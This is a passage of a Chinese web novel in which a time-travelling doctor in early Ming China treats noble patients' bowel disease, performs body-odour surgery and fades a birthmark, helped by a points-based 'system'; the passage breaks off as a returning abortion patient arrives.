傅忠瞪圆眼睛:“所以那些屁是羊奶变的?”
“可以这么理解。”马淳用银匙舀了些淡黄色粉末掺进陈皮里,“这是炒谷芽,配合陈皮煎水代茶饮。七日之后,保准再不会……”
他突然噤声。
徐妙云在屏风后狠狠瞪了他一眼。
胡氏却扑哧笑了,眉眼舒展开来:“马大夫直说便是,总比某些人满嘴粗话强。”
说着又拧了傅忠一把。
马淳包好药材递过去:“其实还有一法。同房前用暖炉焐热小腹,再按揉这个穴位。”
他在胡氏虎口处的合谷穴点了点,“能缓解紧张。”
傅忠拍案:“我想起来了!去年重阳宴上,李景隆那小子放屁崩断了玉带,是不是也这毛病?”
徐妙云终于没忍住笑出声。
胡氏红着脸捶打这个丢人现眼的东西。
气氛一时间非常的热闹。
“不一样。”马淳摇头,“曹国公世子是豆类吃多了。他府上厨子总用芸豆冒充熊掌。”
正说着,院外突然传来急促的马蹄声。
李景隆风风火火闯进来,手里还拎着个食盒。
“马兄!我给你们送好东西来了……”他猛地刹住脚步,瞪着一屋子人,“你们怎么都在?”
傅忠咧嘴一笑:“巧了,我们刚说到你去年……”
胡氏一把捂住他的嘴。
李景隆狐疑地打量众人,瞥见案几上的药包:“马兄又在配消食散?正好!”
他啪地打开食盒,“我爹新得了些西域蜜瓜,非要我送来给马兄尝尝。”
食盒里金黄色的瓜瓤晶莹剔透。
马淳却盯着瓜皮上的纹路皱眉:“这瓜放几天了?”
“三天吧?”李景隆挠头,“驿卒说西域运来就得这么久。”
马淳用银刀切开瓜肉,指着微黄的瓜瓤:“已经变质了。李公子若不信,可以尝尝看——记得备好恭桶。”
李景隆脸色发绿:“不会吧?我爹昨晚吃了半个……”
话音未落,街角传来一阵喧哗。
曹国公府的家丁狂奔而来,老远就喊:“世子快回去!国公爷腹泻不止,太医院说怕是中毒了!”
李景隆手里的银叉当啷落地。
马淳已经抓起药箱:“走!路上说。”
胡氏望着他们远去的背影,轻声道:“原来马大夫平日这般忙碌。”
傅忠揽住妻子肩膀:“所以咱们更该按他说的好好调理。走,回家煎药去。”
胡氏低头看着手里的药包,“夫君,今晚……试试那个穴位?”
傅忠哈哈大笑,“为夫正有此意啊!!”
……
第84章 肠疽!李文忠真可怜呐!
马淳赶到曹国公府时,李文忠正趴在榻上呻吟。
屋里弥漫着浓重的药味,几个太医围在床边低声讨论。
李景隆急得满头大汗:“马兄快看看,我爹刚吐了三次。”
马淳放下药箱,上前为李文忠诊脉。
指腹下的脉象虚浮无力,隐约带着一丝异常。
“国公爷,除了腹泻还有哪里不适?”
李文忠虚弱地摆摆手:“肚子绞痛,像有刀子在搅。”
马淳取出银针,在李文忠的足三里穴轻轻一刺。
李文忠突然弓起身子,发出一声痛呼。
“不对劲。”马淳皱眉,“普通腹泻不会这么疼。”
他让李景隆帮忙掀开李文忠的衣袍。
腹部皮肤上隐约可见几处不正常的红斑。
“国公最近可曾接触过生冷之物?”
李景隆摇头:“除了那蜜瓜,我爹这几日都按您的嘱咐吃清淡饮食。”
马淳从药箱取出一个小瓷瓶,倒出几粒药丸:“先服下这个止疼。”
李文忠吞下药丸,脸色稍缓。
马淳趁机再次诊脉,这次更加仔细。
脉象中那股异常愈发明显。
马淳心中一动,想起前几日给傅友德检查时的发现。
“国公,我需要检查您的腹部。”
得到允许后,马淳用特制的听诊器贴在李文忠肚子上。
随着移动,他听到几处异常的肠鸣音。
“这里疼吗?”马淳轻轻按压一个位置。
李文忠倒吸一口凉气:“疼!”
马淳又检查了几个穴位,每处都引起李文忠剧烈反应。
他心中已有判断,但还需要确认。
“李公子,去准备一盆热水和干净布巾。”
待李景隆离开,马淳低声问:“国公是否长期感到腹胀,尤其在饭后?”
李文忠愣了一下:“你怎么知道?这毛病有两年了。”
“排便可有异常?”
“时干时稀,总感觉排不干净。”
马淳点点头:“我需要做个更详细的检查。”
他取出一个小巧的器械,形似漏斗:“请国公含住这头,慢慢呼气。”
李文忠照做。
马淳仔细观察器械上的变化,眉头越皱越紧。
这时李景隆端着热水回来。
马淳收起器械,开始为李文忠热敷腹部。
“国公的肠胃有严重问题,不是简单的腹泻。”
李景隆急了:“是不是那蜜瓜有毒?”
“蜜瓜只是诱因。”马淳取出纸笔开始写药方,“国公的肠道功能已经受损,需要长期调理。”
李文忠苦笑:“老夫这身子骨真是不中用了。”
看起来这些常年征战的将军,之所以寿命都不长,很大原因是伴生性的疾病太多。
长期泡在湿冷的环境里,就容易风湿关节痛。
长期饮食不规律,加上行军打仗之人为了驱寒喝不少烈酒,导致肠胃有严重问题。
历史记载,李文忠就是因为莫名其妙的病,在洪武十七年死的。
当时朱元璋还怀疑有太医下毒,还把不少太医给杀了。
但现在依马淳来看,很可能就是多种病同时爆发导致。
马淳写完药方,又取出几包药粉:“今晚先用这个,明日我再来详细诊治。记住,今晚到明天我来这段时间,至少要保证三到四个时辰空腹,连水都不能喝,要不然会影响检查的正确性。”
李景隆送马淳出门时,忍不住问:“马兄,我爹的病到底有多严重?”
马淳停下脚步:“比傅国公的情况更复杂。我怀疑是长期饮酒加上饮食不当导致的肠疾。”
“能治好吗?”
“需要时间。”马淳看了看天色,“明日我会带专门的器械来检查。”
回到医馆,徐妙云见马淳神色凝重,她放下手中的活计。
“曹国公情况不好?”
马淳叹了口气:“我怀疑是肠痈,但还需要进一步确认。”
徐妙云递上一杯热茶:“就是古人说的‘肠疽’?”
“类似。”马淳喝了口茶,“明日我得用内窥镜检查才能确定。”
“那器械上次给颖国公用后,不是还没调试好?”
“顾不上了。”马淳起身走向药柜,“今晚我要准备些特殊的药剂。”
徐妙云帮他研磨药材:“曹国公若真得了这病,恐怕要受不少罪。”
马淳点头:“所以得尽快确诊。早期还好治,拖久了就麻烦了。”
夜深人静,马淳还在灯下调试器械。
徐妙云走过来:“已经子时了,歇会儿吧。”
马淳揉了揉发酸的眼睛:“再试一次就好。”
他小心地将铜管浸入药液消毒,然后对着烛光检查镜片清晰度。
“成了。”马淳终于露出笑容,“明天应该够用了。”
次日清晨,马淳带着器械再次来到曹国公府。
李文忠的气色比昨日更差,眼下挂着浓重的黑影。
“国公昨夜可曾休息?”
李文忠摇头:“腹痛难忍,根本无法入睡。”
马淳取出准备好的器械:“今日我要做个详细检查,可能会有些不适。”
李景隆紧张地问:“这是什么?”
“内窥镜。”马淳简单解释,“可以查看肠道内部情况。”
检查过程并不轻松,而且极度羞耻,要不是李文忠这样的硬汉子,而且不拘小节粗线条都很能忍受。
饶是如此,李文忠几次疼得冷汗直流,但都咬牙坚持下来。
当马淳通过镜片看到肠道内壁的情况时,心头一沉。
黏膜上布满不正常的溃疡和增生,有几处已经出现早期病变迹象。
“怎么样?”李文忠虚弱地问。
马淳收起器械:“确诊了,是慢性肠炎伴局部溃疡。”
慢性肠炎伴局部溃疡是一种以肠道黏膜慢性炎症和溃疡形成为特征的疾病,主要表现就是腹泻和腹痛。
好发人群是20-40岁的青壮年,病程迁延易复发,有癌变风险。
而李文忠全中标,难怪他喝了傅忠的假酒就上吐下泻,而傅忠长期喝只是肝变差了一点。
这是因为李文忠肠胃本就不好的缘故。
李景隆听不懂这些术语:“严重吗?”
“还行,发现的及时,但需要立即治疗。”马淳取出准备好的药和用药指南。
主要是抗炎药‘美沙拉嗪’,辅助类的‘益生菌’和黏膜保护剂‘复方谷氨酰胺’。
“这是第一阶段用药,必须严格按时服用。”
他又详细交代了饮食禁忌,特别强调戒酒的重要性。
李文忠苦笑:“老夫这辈子怕是跟酒无缘了。”
“保命要紧。”马淳正色道,“这病若继续发展,后果不堪设想。”
……
第85章 体味大到熏人!
离开前,马淳私下对李景隆说:“国公的病需要长期调理,你要监督他按时用药。”
李景隆郑重点头:“我会的。马兄,多谢你。”
回到医馆,马淳将检查结果详细记录。
徐妙云在一旁帮忙整理药材。
“情况比想象的严重?”
马淳点头:“已经出现早期溃疡性病变。好在发现及时,还能控制。”
徐妙云忽然想起什么:“对了,傅世子今早来过,说胡夫人按你的方子调理,感觉好多了。”
马淳笑了笑:“那就好。现在只希望曹国公也能配合治疗。”
接下来的日子,马淳每天往返于医馆和曹国公府之间。
李文忠的病情渐渐稳定,但离痊愈还有很长距离。
这天诊治结束后,李文忠突然问:“马大夫,你跟老夫说实话,这病到底能不能根治?”
马淳收起银针:“国公若能严格遵医嘱,三年内可望痊愈。”
“三年啊……”李文忠望向窗外,“老夫还能活那么久吗?”
马淳正色道:“国公戎马半生,这点小病算什么?只要配合治疗,长命百岁不是问题。再给您透露个消息,您这不病不是一个人得的,颖国公的病跟您也差不多。”
”哟!老傅也得了?他是啥毛病?”李文忠很感兴趣。
马淳终于明白李景隆那八卦性格怎么来的,纯粹遗传啊。
“他也是常年酗酒导致肠胃不好,差点有胃岩的风险。”马淳解释。
‘岩’这个概念,在明朝人眼里那就是重疾。
李文忠顿时担心起来:”那老傅没事吧?”
都是一起出生入死的老兄弟,不是亲兄弟胜是亲兄弟,平时可以开玩笑,关键时刻还是很关心的。
“没事,只要跟您一样,不酗酒,调养好身体就没事。对了,再跟您说一句,人家颖国公为了抱孙子可是打算戒酒,您别被比下去了。”
李文忠哈哈大笑:“好!就冲你这句话,老夫一定好好戒酒!”
离开曹国公府时,马淳遇到了前来探望的朱元璋。
“陛下。”
朱元璋摆摆手:“保儿的病怎么样了?”
马淳如实汇报了病情和治疗方案。
朱元璋听完,拍了拍马淳的肩膀:“好好治,需要什么药材尽管开口。”
“谢陛下。”
【叮!治疗曹国公李文忠的肠胃病,奖励积分1000!】
……
宫门前的石阶上,文武百官陆续入朝。
曹国公李文忠今日气色不错,脚步稳健地踏上台阶。
前几日还病恹恹的,如今倒是精神抖擞。他刚走到殿前,迎面撞上了颍国公傅友德。
两人对视一眼,各自愣了一下,随即同时露出苦笑。
“老傅,身子好些了?”李文忠拱了拱手。
“托马大夫的福,总算能爬起来了。”傅友德揉了揉肚子,一脸心有余悸,“你是不知道,那马大夫是真狠啊,拿根管子直接从嘴里捅到胃里去,差点没把老夫送走。”
李文忠眼睛瞪大:“内窥镜?”
傅友德点头:“对,就那玩意儿。幸好提前吃了镇静剂,要不然非得吐个天昏地暗不可。”
他叹了口气,又问道,“老李,你也遭罪了吧?”
李文忠表情微妙,下意识地扭头看了眼自己的屁股,干笑两声:“对对对,不好受,确实不好受。”
傅友德见他神色古怪,疑惑道:“怎么,你也是从嘴里?”
李文忠支支吾吾:“呃……差不多吧。”
傅友德狐疑地打量他,却没看出什么。
李文忠是不太想告诉他,自己是屁股。
即便傅友德是先用过的,但估计也会膈应死。
李文忠连忙摆手:“别问,问就是遭罪。”
傅友德憋着笑,拍了拍他的肩膀:“难兄难弟啊。”
两人并肩走进大殿,一路上还在低声交流各自的“受难经历”。
傅友德绘声绘色地描述自己如何被管子折磨得死去活来,李文忠则全程含糊其辞,绝口不提自己是从哪儿进去的。
朝堂上,朱元璋高坐龙椅,见两人精神不错,满意地点点头:“两位爱卿身子大好了?”
傅友德拱手道:“托陛下洪福,臣已无碍。”
李文忠也赶紧附和:“臣亦康复。”
朱元璋笑道:“好,好!马大夫果然医术高明。”
两人对视一眼,心里同时想:“高明是高明,就是手段太狠了……”
退朝后,傅友德拉住李文忠,低声道:“老李,改日咱们得请马大夫喝顿酒,好好‘感谢’他。”
李文忠苦笑:“是该‘感谢’,不过我怕他再给我来一次。”
傅友德哈哈大笑:“那老夫可得躲远点。”
两人一路说笑,倒是把这几日的病痛抛到了脑后。
只是李文忠走路时仍有些不自在,时不时就要调整下姿势。
傅友德瞥见,故意问道:“老李,屁股还疼?”
李文忠老脸一红:“胡说什么!我这是……腿麻!”
傅友德憋着笑点头:“噢噢!腿麻。”
李文忠无奈摇头,心想这老家伙是真损。
不过转念一想,自己好歹没吐得昏天黑地,也算是不幸中的万幸了。
两人就这么一路拌嘴,慢慢消失在宫门外。
……
医馆的午后格外宁静。
马淳倚在窗边翻看医书,徐妙云坐在案前誊写药方。
药柜里飘出淡淡的草药香,混着徐妙云手边那盏茉莉花茶的气息,让人昏昏欲睡。
“夫君,这味‘白芷’的库存不多了。”徐妙云蘸了蘸墨,笔尖在账册上轻轻一点。
马淳头也不抬:“明日让药童去城南陈记补些。记得要三年生的,药性足。”
徐妙云正要应声,医馆大门突然被推开。
铜铃叮当一响。
进来的是个穿粗布衣裳的妇人,牵着一个约莫十二三岁的女孩。
妇人低着头,用帕子半掩着脸;女孩紧紧攥着母亲的衣角,脖颈缩在立起的领子里。两人站在门边,像是随时要退出去。
徐妙云放下笔,温声道:“二位看诊?”
妇人犹豫片刻,终于开口:“大夫……能治体味吗?”
声音细如蚊蚋。
马淳合上书走过来。
离着三步远,他闻到一股特殊的腥膻气。
那女孩突然往母亲身后躲了躲,袖子蹭过门框,留下一道淡淡的黄渍。
“先坐。”马淳指了指诊案旁的矮凳,“具体说说症状。”
……
第86章 人的成见是一座大山!
妇人绞着帕子不肯坐:“我们娘俩天生带股味儿,夏天尤其重。村里人说……”
她喉头动了动,“说是狐妖转世。”
女孩“哇”地哭出声。
徐妙云连忙递上帕子,却被妇人拦住:“别沾手,这味儿洗不掉。”
马淳蹲下来平视女孩:“伸手给我看看。”
女孩迟疑地伸出胳膊。
马淳注意到她腋下的衣衫颜色更深,皮肤上覆着细小的鳞屑。
他轻轻按了按淋巴结,女孩疼得一哆嗦。
“不是狐妖。”马淳起身净手,“这叫狐臭,是汗腺分泌异常所致。能治。”
妇人猛地抬头,帕子掉在地上:“真能治?”
徐妙云取来一包晒干的香薷:“先用这个煎汤擦身,能缓解气味。根治需要手术,得等调理半月后。”
“手术?”妇人脸色发白,“啥叫手术?”
马淳摇头:“只在腋下开两个小口,剔除病变汗腺。术后三日就能活动。”
他见妇人还在发抖,补了句,“傅国公家的小姐去年做过,如今能穿纱衣赴宴。”
这谎撒得巧妙。
徐妙云瞥了丈夫一眼,低头忍笑。
妇人终于松口气:“诊金要多少?”
“一百文。”
“一百文?”妇人惊呼,“前街张大夫开的香粉都要二两银子!”
马淳道:“那些香粉掩臭反伤肤,不如不治。”
他写好处方递给徐妙云,“今日先带药汤回去,五日后复诊。”
妇人千恩万谢地走了。
“那孩子手上的掐痕……”她低声道。
马淳正在案前整理药材,闻言抬头:“狐臭在如今这世道,对女子而言尤为残酷。”
徐妙云走到他身旁坐下,“方才那小姑娘,怕是没少受欺负。”
“岂止是欺负。”马淳将晒干的香薷细细碾碎,“狐臭患者常被视作不洁,婚嫁都成问题。前朝就有女子因体味被夫家休弃,投井自尽的。”
徐妙云指尖一顿:“这么严重?”
马淳点头:“尤其在夏季,气味更重。寻常人避之不及,患者往往遭排挤。孩童无知,更会肆意欺凌。”
徐妙云望向门外:“方才那妇人说村里人称她们是狐妖转世。”
“愚昧之言。”马淳冷笑,“不过是顶泌汗腺分泌异常,与妖魔何干?但世人总爱将不解之事归于神怪。”
他取出一张新纸,蘸墨画起解剖图:“你看,病变汗腺在此处。手术时只需开小口剔除,伤口愈合后几乎不留痕迹。”
徐妙云凑近细看:“傅家小姐当真做过?”
马淳笔尖微滞,随即笑道:“自然没有。但若不这般说,那妇人怎敢让女儿动刀?”
“你呀。”徐妙云摇头,“不过也是善意的谎言。”
马淳忽然想起什么:“妙云,你去准备些薄荷与金银花,制成香囊。下次她们来时相赠,可暂掩气味。”
徐妙云应声起身,忽又停步:“夫君,那孩子脖颈上的黄渍……”
“汗液与细菌作用产生的色素沉淀。”马淳头也不抬,“待手术后自会消退。”
门外忽传来马蹄声,由远及近。
马淳抬头:“这个时辰,会是谁?”
铜铃再响,进来的是傅忠。
他大步流星,腰间玉佩叮当。
“马兄!我家夫人有喜了!”他嗓门洪亮,震得梁上灰尘簌簌落下。
马淳与徐妙云同时起身:“恭喜!”
傅忠搓着手,络腮胡都掩不住笑意:“多亏马兄妙手。不过……”
他压低声音,“夫人如今害喜厉害,吃什么都吐。”
马淳了然:“我配些止吐药,你带回去。”
傅忠凑近药案,忽然皱眉:“什么味儿?”
徐妙云解释:“方才接诊了一对狐臭患者。”
傅忠恍然,随即压低声音:“马兄,这病真能治?我有个远房表妹也为此所困,至今未嫁。”
马淳笔下不停:“半月后可安排手术。”
傅忠大喜:“那敢情好!我这就回去告诉姑母。”
他风风火火来,又风风火火走,临走还顺走了案上一块茯苓糕。
徐妙云望着晃动的门帘,轻笑:“傅世子还是这般急性子。”
马淳将写好的药方递给她:“止吐药加些陈皮,更利服用。”
夕阳西沉,医馆终于安静下来。
徐妙云打开电灯,医馆亮堂起来。
她忽然道:“夫君,你说那小姑娘回村后,会不会又遭嘲笑?”
马淳正在研磨药粉,“难免的。世人偏见非一日可改。”
“若能早日手术……”
“急不得。”马淳摇头,“需先调理体质,否则易感染。”
徐妙云望着跳动的灯焰,轻声道:“明日我多做几个香囊吧。”
夜色渐深,远处传来更夫梆子声。
马淳洗净手,“其实狐臭在胡人中常见,本不算大病。只是汉人少见,便视为异类。”
徐妙云若有所思:“就像西域人瞳色各异,在咱们这儿就成了妖怪。”
“正是此理。”马淳吹灭灯,“睡吧,明日还有患者要来。”
黑暗中,徐妙云忽然问:“夫君,若咱们生个女儿,将来她会嫌弃这样的病人吗?”
马淳沉默片刻,认真道:“我会教她医者仁心,众生平等。”
……
次日清晨,露水未干时,医馆门又被叩响。
这次是个书生模样的青年,面色尴尬地站在阶下。
“大夫,在下……也有体味之症。”
马淳将他让进屋:“何时开始的?”
书生低头:“去岁乡试时,同舍考生说我夜间气味熏人。后来……后来便无人愿与我同住。”
徐妙云递上茶,书生接过时手微微发抖。
马淳检查后道:“症状较轻,不必手术。用药浴即可缓解。”
书生如蒙大赦,连连作揖。
送走书生,徐妙云轻声道:“看来患者比想象中多。”
马淳点头:“只是多数人羞于求医,听说我能治,估计都会过来。”
日头渐高,街市热闹起来。
午时刚过,那妇人竟带着女儿提前来了。
女孩换了干净衣裳,但脖颈仍缩在立领里。
“大夫,我们想了想,还是早些来。”妇人局促道,“村里孩子昨日又朝她扔石头……”
女孩低头站着,手指绞着衣角。
马淳温声道:“无妨,我这就准备药浴。”
徐妙云牵起女孩的手:“跟我来。”
后院的木桶里热气蒸腾,飘着草药香。
女孩起初畏缩,渐渐在徐妙云轻柔的动作中放松下来。
药水染成淡褐色,女孩皮肤上的鳞屑慢慢软化。
前堂,妇人小声问:“大夫,手术那日……疼吗?”
马淳宽慰道:“会先用麻沸散,睡一觉就好。”
妇人低头抹泪:“她爹死得早,就剩我们娘俩相依为命。若她能像个正常孩子……”
马淳递上帕子:“会的。”
药浴持续了半个时辰。
出来时,女孩头发还滴着水,但神情松快了些。
徐妙云给她梳头,发现她耳后有道结痂的伤痕。
“这是?”
女孩瑟缩一下:“他们用树枝打的。”
徐妙云手上动作更轻:“以后不会了。”
夕阳西下,母女俩告辞离去。
这次女孩走到门口,回头小声说了句:“谢谢。”
……
第87章 坑爹系统收维护费!
清晨,小青村。
马淳已经站在医馆后院检查手术器械。
木桌上摆着几把泛着寒光的小刀,旁边是煮过的棉布和药汤。
他拿起一把柳叶刀对着晨光看了看,刀刃上有个细小的缺口。
“还是不行。”马淳低声自语。
徐妙云端着药筐从屋里出来,看到他皱眉的样子,问道:“怎么了?”
“器械不够精细。”马淳放下刀,“狐臭手术需要更薄的刀片,否则容易留疤。”
徐妙云放下药筐,拿起一块干净棉布擦拭刀具:“上次给傅国公做手术的器械呢?”
“那是特制的,不适合这次用。”马淳转身走向药柜,假装翻找东西,实则默念系统。
眼前浮现出只有他能看到的半透明光幕。
兑换商城的分类清晰明了,从基础药材到精密器械应有尽有。
他点开“手术器械”一栏,搜索“狐臭专用”。
列表里跳出几套器械,最贵的要800积分,附带高清内窥镜和电凝止血功能。
最便宜的只要200积分,是基础套装。
马淳毫不犹豫选了中间档的500积分套装。
这套包含三把不同角度的精细手术刀、专用拉钩和止血钳,还附赠无菌手术衣和手套。
确认兑换后,他假装从药柜深处摸出一个布包。
“找到了。”马淳转身对徐妙云说,“之前收起来的专用器械。”
徐妙云好奇地接过布包展开,里面整齐排列着闪亮的新器械。
她拿起一把弧形小刀,惊讶道:“这刀好薄,像柳叶一样。”
“专门为这种手术打造的。”马淳拿起另一把刀比划,“切口越小,愈合越快。”
徐妙云仔细检查每件器械,忽然抬头:“这些不像是铁匠能打出来的。”
马淳手上动作一顿,随即笑道:“江南有位老师傅,祖传的手艺。”
“难怪。”徐妙云没再多问,转身去准备药汤。
马淳松了口气,继续清点器械。
系统兑换的物品会自动适配时代背景,不会出现太超前的设计。
这些器械看起来精致,但还在合理范围内。
午时刚过,那对母女准时到来。
女孩比昨天安静许多,紧紧攥着母亲的手。
“准备好了吗?”马淳温和地问。
女孩点点头,又摇摇头,眼睛里闪着泪光。
妇人摸摸女儿的头:“别怕,马大夫医术高明,不会疼的。”
马淳蹲下身平视女孩:“我先给你喝一碗安神汤,睡一觉就好了。醒来后,以后再也不会有人笑话你了。”
徐妙云端来一碗褐色药汤,散发着淡淡甜香。女孩小口喝完,很快眼皮开始发沉。
马淳抱起女孩走进临时布置的手术室。
徐妙云已经点燃了更多的灯,屋里亮如白昼。
“娘子,你来做助手。”马淳递给徐妙云一套干净的白布衣,“先洗手,然后换上这个。”
徐妙云照做,好奇地看着马淳戴上一种奇怪的手套,薄得像蝉翼,却紧紧贴合手指。
手术开始前,马淳再次检查器械。
他拿起一瓶药水仔细涂抹在女孩腋下。
“这是什么?”徐妙云问。
“消毒药水,防止感染。”马淳说着,拿起一把小刀。
刀刃在灯光下闪着寒光。
马淳的动作又快又准,只在皮肤上留下一条细如发丝的红线。
几乎没有出血,他用特制的钳子轻轻撑开切口。
徐妙云看得入神。
她见过不少大夫治病,但从未见过如此精细的手法。
马淳全神贯注地操作着。
汗珠从他额头滑落,徐妙云及时用棉布替他擦去。
“看到了吗?”马淳低声说,“这些就是病变的汗腺。”
徐妙云凑近看去,只见马淳用一把精巧的钩子挑出几粒米粒大小的黄色组织。
“这么小?”
“就是它们分泌的特殊液体,被细菌分解后产生异味。”马淳小心地切除每一处病变组织,动作行云流水。
整个手术不到半个时辰。
马淳缝合切口时用了最细的桑皮线,伤口几乎看不见。
“好了。”马淳直起腰,长舒一口气。
徐妙云看着熟睡的女孩,轻声问:“这就根治了?”
“嗯,只要伤口愈合期间不感染,以后不会再有问题。”马淳摘下手套,开始收拾器械。
徐妙云拉住他的袖子:“夫君,你这些医术到底从哪学的?”
马淳动作一顿,笑道:“不是说过吗,家师所授。”
“你师父一定是个奇人。”徐妙云没再追问,转身去照顾女孩。
马淳看着她的背影,暗自庆幸。
【叮!治疗狐臭患者,奖励积分30!】
傍晚时分,女孩醒了过来。
她迷迷糊糊地摸了摸腋下,那里缠着干净的棉布。
“疼吗?”马淳问。
女孩摇摇头,小声说:“有点痒。”
“正常现象。”马淳拿出一瓶药膏,“每天换一次药,七天后拆线。”
妇人千恩万谢,掏出一个小布包:“这是诊金,虽然不多……”
马淳推了回去:“留着给孩子买点好吃的。等伤口好了,她就能像其他孩子一样玩耍了。”
母女俩千恩万谢,女孩走到门口,忽然转身鞠了一躬。
徐妙云站在马淳身旁,轻声道:“你变了她的命运。”
马淳摇摇头:“只是治了个小毛病。”
“对你来说是小事,对她可能是一生的转折。”徐妙云握住他的手,“这就是我敬重你的地方。”
夜色渐深,医馆安静下来。
马淳坐在灯下整理今天的病例,徐妙云在旁研磨药材。
“明天傅世子的表妹要来。”徐妙云说。
马淳点头:“得准备更多器械和药材,估计很快就会有很多这类的病患过来。”
他再次打开系统商城,这次搜索“术后护理”。
列表里出现了各种药膏和敷料,他选了几样明朝背景能解释的通的产品。
兑换完成后,马淳忽然发现积分余额有些不对劲。
“怎么少了这么多?”他暗自嘀咕。
系统显示最近有大额支出,但他明明只做了些小兑换。
仔细查看记录,发现前天半夜两点左右,有一笔1000积分的自动扣除,备注是“系统维护费”。
马淳差点跳起来。
这坑爹系统居然还有隐藏收费!
“怎么了?”徐妙云见他脸色不对。
“没事。”马淳强压怒火,“想起有个方子忘了记。”
夜深人静时,马淳在心里质问系统:“维护费是怎么回事?从来没提过!”
系统冷冰冰地回答:“条款第37条,宿主积分超过5万时,每月收取2%作为系统维护费。”
马淳气得牙痒痒:“你这是抢劫!”
系统不为所动:“最终解释权归系统所有。”
马淳无奈地躺下,看着帐顶。
看来得想办法多赚积分了,不然哪天急需时可能不够用。
徐妙云翻了个身,迷迷糊糊地问:“还不睡?”
“就睡。”马淳吹灭油灯。
……
第88章 找了稳婆……用钩子刮的
清晨的阳光刚洒进医馆,傅忠的大嗓门就震得门板嗡嗡响。
“马兄!我表妹来了!”
马淳放下捣药杵,抬头看见傅忠领着个穿杏色衫子的姑娘跨进门。
那姑娘左脸一块铜钱大的黑色胎记,在阳光下格外显眼。
“这就是我表妹柳莹儿。”傅忠拍拍姑娘肩膀,“莹儿,这就是我常说的马神医。”
柳莹儿利落地行了个礼:“见过马大夫。”
她声音清亮,半点没有寻常闺秀的扭捏。
马淳注意到她行礼时袖口沾着几点墨渍,指甲修剪得短而干净,显然是个常干活的利落人。
“柳姑娘请坐。”马淳示意她到诊案前,“傅世子说你有体味之症?”
柳莹儿大方地坐下,抬手闻了闻自己袖口:“是啊,夏天尤其厉害。我娘说我这胎记和体味都是前世造的孽。”
她说着自己先笑起来,露出一排整齐的牙齿。
徐妙云端来茶盏,闻言轻声道:“胎记是天生的,与善恶无关。”
柳莹儿接过茶盏,“我晓得。就是村里人总说闲话,我爹差点因为这个不让我上学堂。”
马淳仔细检查了她的腋下情况:“症状不重,手术很快。”
“手术?”柳莹儿眼睛一亮,“真能根治?”
马淳点头:“和昨日那小姑娘一样的小手术。”
傅忠插嘴:“马兄,莹儿这胎记能治不?”
柳莹儿摆手:“表哥别为难大夫,这胎记从小跟着我,早习惯了。”
马淳却多看了那胎记两眼:“若是想治,倒也有法子。”
柳莹儿正要说话,门外突然传来一阵嘈杂。
几个村民架着个满身是血的汉子冲进来。
“马大夫!老赵家二小子从房上摔下来了!”
马淳立刻起身:“抬到里间去。”
柳莹儿主动退到一旁:“您先忙。”
【叮!救治摔伤病人,获得积分奖励20】
这次马淳着重看了看自己的余额。
【余额:50687】
他现在要狠狠记住,就怕系统重复收费。
处理完急诊已是午后。
马淳洗净手上血迹,发现柳莹儿还坐在外间,正帮徐妙云分拣药材。
“久等了。”马淳擦着手走过来。
柳莹儿拍拍手上药渣:“那汉子没事吧?”
“断了两根肋骨,好在没伤及内脏。”马淳坐下,“现在说说你的情况。”
柳莹儿爽快道:“体味要治,胎记就算了。”
马淳有些意外:“去胎记不难,用药膏敷几日就能淡化。”
柳莹儿摸了摸自己左脸:“其实……我挺喜欢它的。”
徐妙云停下捣药的动作:“喜欢?”
“嗯。”柳莹儿指尖轻抚胎记边缘,“小时候我娘总哭,说这胎记会误我终身。可我爹说,这是老天爷给的记号,怕把我弄丢了。”
傅忠挠头:“姑父就是会哄人。”
柳莹儿笑起来:“后来我真信了。有次走丢,官差就是凭这胎记把我送回家的。”
马淳看着她明亮的眼睛,改了主意:“那就只做狐臭手术。”
手术很顺利。
【叮!救治狐臭病人,奖励积分100!】
柳莹儿醒来时,已经是下午。
“感觉如何?”徐妙云扶她坐起来。
柳莹儿活动了下手臂:“一点都不疼。”
她忽然压低声音,“徐姐姐,其实我骗了马大夫。”
徐妙云挑眉:“哦?”
“我不是不想去胎记。”柳莹儿手指绞着被角,“是怕疼。”
徐妙云失笑:“我们医馆有麻沸散,不会疼的。”
柳莹儿咬唇:“我听说去胎记要拿刀刮脸……”
“谁说的?”徐妙云摇头,“用药膏而已。”
柳莹儿眼睛一亮:“真的?”
当晚,马淳在灯下配药时,徐妙云把这事告诉了他。
“这姑娘……”马淳摇头笑,“白天装得那么洒脱。”
徐妙云拿起一块雄黄研磨:“她其实很在意那块胎记。”
马淳若有所思:“明日我重新配些药。”
次日清晨,柳莹儿来换药时,马淳拿出个青瓷小盒。
“这是淡化胎记的药膏,不疼不痒,每日涂两次。”
柳莹儿接过盒子,耳根微红:“多谢马大夫。”
傅忠在一旁挤眉弄眼:“昨儿谁说不治的?”
柳莹儿踹他一脚:“要你管!”
半个月后,柳莹儿的伤口愈合良好,胎记也淡了许多。
【叮!医治胎记病患,奖励积分100!】
她最后一次来复诊时,带来自家做的枣泥糕。
“马大夫,徐姐姐,多谢你们。”她行礼时胎记几乎看不出来了。
马淳递给她一面铜镜:“再看看。”
柳莹儿对着镜子左照右照,突然红了眼眶:“我……我以后是不是也能找个好人家了?”
徐妙云握住她的手:“你本来就是个好姑娘。”
柳莹儿抹了把眼睛,又笑起来:“等我嫁人时,请你们喝喜酒!”
傅忠送她出门时,村里几个孩童好奇地围着柳莹儿看。
“柳姐姐,你的黑月亮不见啦!”
柳莹儿弯腰捏捏孩子的脸:“老天爷说不用记号也能找到我啦。”
马淳站在门内,看着柳莹儿远去的背影,对徐妙云道:“其实胎记没全消。”
徐妙云点头:“留了淡淡一道痕。”
“故意的。”马淳转身回屋,“那是她的一部分。”
徐妙云望着药柜上并排摆着的两个瓷罐——一个是空的狐臭药膏罐,一个是还剩半盒的胎记膏,轻声道:“你治的不只是病。”
马淳拿起捣药杵:“嗯?”
“还有心结。”
马淳一笑了之。
柳莹儿的身影刚消失在村口,医馆门前的铜铃又响了起来。
马淳抬头,看见两个月前那位想堕胎的小姐正被老妈子搀扶着走进来。
小姐的脸色比上次更加苍白,嘴唇泛着不健康的青紫色,走路时双腿微微发抖。
老妈子一进门就尖声嚷道:“庸医!看看你干的好事!”
马淳放下药杵,皱眉打量那位小姐。
她的小腹平坦,显然已经堕胎成功,但整个人像被抽走了精气神,眼窝深陷。
“怎么回事?”马淳问道。
小姐刚要开口,老妈子就抢着说:“你那药根本不管用!我家小姐喝了三天,疼得死去活来,孩子却没下来!”
马淳心头一紧。
他配的药方绝对有效,除非……
“后来怎么处理的?”
